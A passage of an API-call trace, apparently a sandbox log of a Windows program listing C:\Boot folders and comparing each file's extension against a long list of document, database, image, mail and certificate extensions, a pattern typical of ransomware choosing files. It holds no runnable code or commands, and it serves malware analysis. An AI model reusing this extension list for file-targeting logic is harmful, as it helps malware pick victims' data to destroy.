[0088.355] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0088.355] lstrlenW (lpString=".efd") returned 4 [0088.355] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".elf") returned 4 [0088.356] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".emf") returned 4 [0088.356] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".emz") returned 4 [0088.356] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".epf") returned 4 [0088.356] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".eps") returned 4 [0088.356] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".epsf") returned 5 [0088.356] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0088.356] lstrlenW (lpString=".epsp") returned 5 [0088.356] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0088.356] lstrlenW (lpString=".erf") returned 4 [0088.356] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".exr") returned 4 [0088.356] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".f4v") returned 4 [0088.356] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".fido") returned 5 [0088.356] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0088.356] lstrlenW (lpString=".flm") returned 4 [0088.356] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0088.356] lstrlenW (lpString=".flv") returned 4 [0088.357] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".frm") returned 4 [0088.357] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".fxg") returned 4 [0088.357] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".geo") returned 4 [0088.357] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".gif") returned 4 [0088.357] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".grs") returned 4 [0088.357] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".gz") returned 3 [0088.357] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0088.357] lstrlenW (lpString=".h") returned 2 [0088.357] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0088.357] lstrlenW (lpString=".hdr") returned 4 [0088.357] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".hpp") returned 4 [0088.357] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".hta") returned 4 [0088.357] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".htc") returned 4 [0088.357] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".htm") returned 4 [0088.357] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0088.357] lstrlenW (lpString=".html") returned 5 [0088.358] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0088.358] lstrlenW (lpString=".icb") returned 4 [0088.358] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".ics") returned 4 [0088.358] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".iff") returned 4 [0088.358] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".inc") returned 4 [0088.358] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".indd") returned 5 [0088.358] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0088.358] lstrlenW (lpString=".ini") returned 4 [0088.358] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".iqy") returned 4 [0088.358] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".j2c") returned 4 [0088.358] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".j2k") returned 4 [0088.358] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".java") returned 5 [0088.358] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0088.358] lstrlenW (lpString=".jp2") returned 4 [0088.358] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".jpc") returned 4 [0088.358] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0088.358] lstrlenW (lpString=".jpe") returned 4 [0088.359] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0088.359] lstrlenW (lpString=".jpeg") returned 5 [0088.359] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0088.359] lstrlenW (lpString=".jpf") returned 4 [0088.359] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0088.359] lstrlenW (lpString=".jpg") returned 4 [0088.359] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0088.359] lstrlenW (lpString=".jpx") returned 4 [0088.359] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0088.359] lstrlenW (lpString=".js") returned 3 [0088.359] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0088.359] lstrlenW (lpString=".jsf") returned 4 [0088.359] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0088.359] lstrlenW (lpString=".json") returned 5 [0088.359] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0088.359] lstrlenW (lpString=".jsp") returned 4 [0088.359] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0088.359] lstrlenW (lpString=".kdc") returned 4 [0088.359] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0088.359] lstrlenW (lpString=".kmz") returned 4 [0088.359] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0088.359] lstrlenW (lpString=".kwm") returned 4 [0088.359] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0088.359] lstrlenW (lpString=".lasso") returned 6 [0088.359] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0088.359] lstrlenW (lpString=".lbi") returned 4 [0088.360] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".lgf") returned 4 [0088.360] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".lgp") returned 4 [0088.360] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".log") returned 4 [0088.360] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".m1v") returned 4 [0088.360] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".m4a") returned 4 [0088.360] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".m4v") returned 4 [0088.360] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".max") returned 4 [0088.360] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".md") returned 3 [0088.360] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0088.360] lstrlenW (lpString=".mda") returned 4 [0088.360] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".mdb") returned 4 [0088.360] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".mde") returned 4 [0088.360] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".mdf") returned 4 [0088.360] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0088.360] lstrlenW (lpString=".mdw") returned 4 [0088.361] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mef") returned 4 [0088.361] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mft") returned 4 [0088.361] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mfw") returned 4 [0088.361] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mht") returned 4 [0088.361] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mhtml") returned 6 [0088.361] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0088.361] lstrlenW (lpString=".mka") returned 4 [0088.361] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mkidx") returned 6 [0088.361] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0088.361] lstrlenW (lpString=".mkv") returned 4 [0088.361] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mos") returned 4 [0088.361] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mov") returned 4 [0088.361] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mp3") returned 4 [0088.361] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mp4") returned 4 [0088.361] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0088.361] lstrlenW (lpString=".mpeg") returned 5 [0088.362] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0088.362] lstrlenW (lpString=".mpg") returned 4 [0088.362] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0088.362] lstrlenW (lpString=".mpv") returned 4 [0088.362] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0088.362] lstrlenW (lpString=".mrw") returned 4 [0088.362] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0088.362] lstrlenW (lpString=".msg") returned 4 [0088.362] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0088.362] lstrlenW (lpString=".mxl") returned 4 [0088.362] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0088.362] lstrlenW (lpString=".myd") returned 4 [0088.362] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0088.362] lstrlenW (lpString=".myi") returned 4 [0088.362] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0088.362] lstrlenW (lpString=".nef") returned 4 [0088.362] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0088.362] lstrlenW (lpString=".nrw") returned 4 [0088.362] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0088.362] lstrlenW (lpString=".obj") returned 4 [0088.362] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0088.362] lstrlenW (lpString=".odb") returned 4 [0088.362] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0088.362] lstrlenW (lpString=".odc") returned 4 [0088.362] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0088.362] lstrlenW (lpString=".odm") returned 4 [0088.363] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".odp") returned 4 [0088.363] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".ods") returned 4 [0088.363] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".oft") returned 4 [0088.363] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".one") returned 4 [0088.363] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".onepkg") returned 7 [0088.363] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0088.363] lstrlenW (lpString=".onetoc2") returned 8 [0088.363] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0088.363] lstrlenW (lpString=".opt") returned 4 [0088.363] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".oqy") returned 4 [0088.363] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".orf") returned 4 [0088.363] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".p12") returned 4 [0088.363] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".p7b") returned 4 [0088.363] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".p7c") returned 4 [0088.363] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0088.363] lstrlenW (lpString=".pam") returned 4 [0088.364] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pbm") returned 4 [0088.364] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pct") returned 4 [0088.364] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pcx") returned 4 [0088.364] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pdd") returned 4 [0088.364] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pdf") returned 4 [0088.364] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pdp") returned 4 [0088.364] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pef") returned 4 [0088.364] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pem") returned 4 [0088.364] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pff") returned 4 [0088.364] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pfm") returned 4 [0088.364] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pfx") returned 4 [0088.364] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0088.364] lstrlenW (lpString=".pgm") returned 4 [0088.364] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0088.365] lstrlenW (lpString=".php") returned 4 [0088.365] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0088.365] lstrlenW (lpString=".php3") returned 5 [0088.365] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0088.365] lstrlenW (lpString=".php4") returned 5 [0088.365] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0088.365] lstrlenW (lpString=".php5") returned 5 [0088.365] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0088.365] lstrlenW (lpString=".phtml") returned 6 [0088.365] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0088.365] lstrlenW (lpString=".pict") returned 5 [0088.365] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0088.365] lstrlenW (lpString=".pl") returned 3 [0088.365] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0088.365] lstrlenW (lpString=".pls") returned 4 [0088.365] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0088.365] lstrlenW (lpString=".pm") returned 3 [0088.365] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0088.365] lstrlenW (lpString=".png") returned 4 [0088.365] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0088.365] lstrlenW (lpString=".pnm") returned 4 [0088.365] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0088.365] lstrlenW (lpString=".pot") returned 4 [0088.365] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0088.365] lstrlenW (lpString=".potm") returned 5 [0088.365] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0088.365] lstrlenW (lpString=".potx") returned 5 [0088.366] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0088.366] lstrlenW (lpString=".ppa") returned 4 [0088.502] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0088.502] lstrlenW (lpString=".ppam") returned 5 [0088.502] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0088.502] lstrlenW (lpString=".ppm") returned 4 [0088.502] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0088.502] lstrlenW (lpString=".pps") returned 4 [0088.502] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0088.502] lstrlenW (lpString=".ppsm") returned 5 [0088.502] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0088.502] lstrlenW (lpString=".ppt") returned 4 [0088.502] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0088.502] lstrlenW (lpString=".pptm") returned 5 [0088.502] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0088.502] lstrlenW (lpString=".pptx") returned 5 [0088.502] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0088.502] lstrlenW (lpString=".prn") returned 4 [0088.502] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0088.503] lstrlenW (lpString=".ps") returned 3 [0088.503] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0088.503] lstrlenW (lpString=".psb") returned 4 [0088.503] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0088.503] lstrlenW (lpString=".psd") returned 4 [0088.503] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0088.503] lstrlenW (lpString=".pst") returned 4 [0088.503] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0088.503] lstrlenW (lpString=".ptx") returned 4 [0088.503] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0088.503] lstrlenW (lpString=".pub") returned 4 [0088.503] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0088.503] lstrlenW (lpString=".pwm") returned 4 [0088.503] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0088.503] lstrlenW (lpString=".pxr") returned 4 [0088.503] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0088.503] lstrlenW (lpString=".py") returned 3 [0088.503] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0088.503] lstrlenW (lpString=".qt") returned 3 [0088.503] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0088.503] lstrlenW (lpString=".r3d") returned 4 [0088.503] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0088.503] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.504] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.504] FindClose (in: hFindFile=0x4260790 | out: hFindFile=0x4260790) returned 1 [0088.504] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.504] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0088.504] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.504] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0088.504] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.504] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.505] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.505] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.505] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0088.505] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.505] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0088.505] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.505] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605d0 [0088.506] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.506] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.507] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0088.507] lstrlenW (lpString=".1cd") returned 4 [0088.507] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0088.507] lstrlenW (lpString=".3ds") returned 4 [0088.507] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0088.507] lstrlenW (lpString=".3fr") returned 4 [0088.507] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0088.507] lstrlenW (lpString=".3g2") returned 4 [0088.507] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0088.507] lstrlenW (lpString=".3gp") returned 4 [0088.507] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0088.507] lstrlenW (lpString=".7z") returned 3 [0088.507] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0088.507] lstrlenW (lpString=".accda") returned 6 [0088.507] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0088.507] lstrlenW (lpString=".accdb") returned 6 [0088.507] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0088.507] lstrlenW (lpString=".accdc") returned 6 [0088.507] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0088.507] lstrlenW (lpString=".accde") returned 6 [0088.507] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0088.507] lstrlenW (lpString=".accdt") returned 6 [0088.507] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0088.507] lstrlenW (lpString=".accdw") returned 6 [0088.507] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0088.507] lstrlenW (lpString=".adb") returned 4 [0088.508] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0088.508] lstrlenW (lpString=".adp") returned 4 [0088.508] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0088.508] 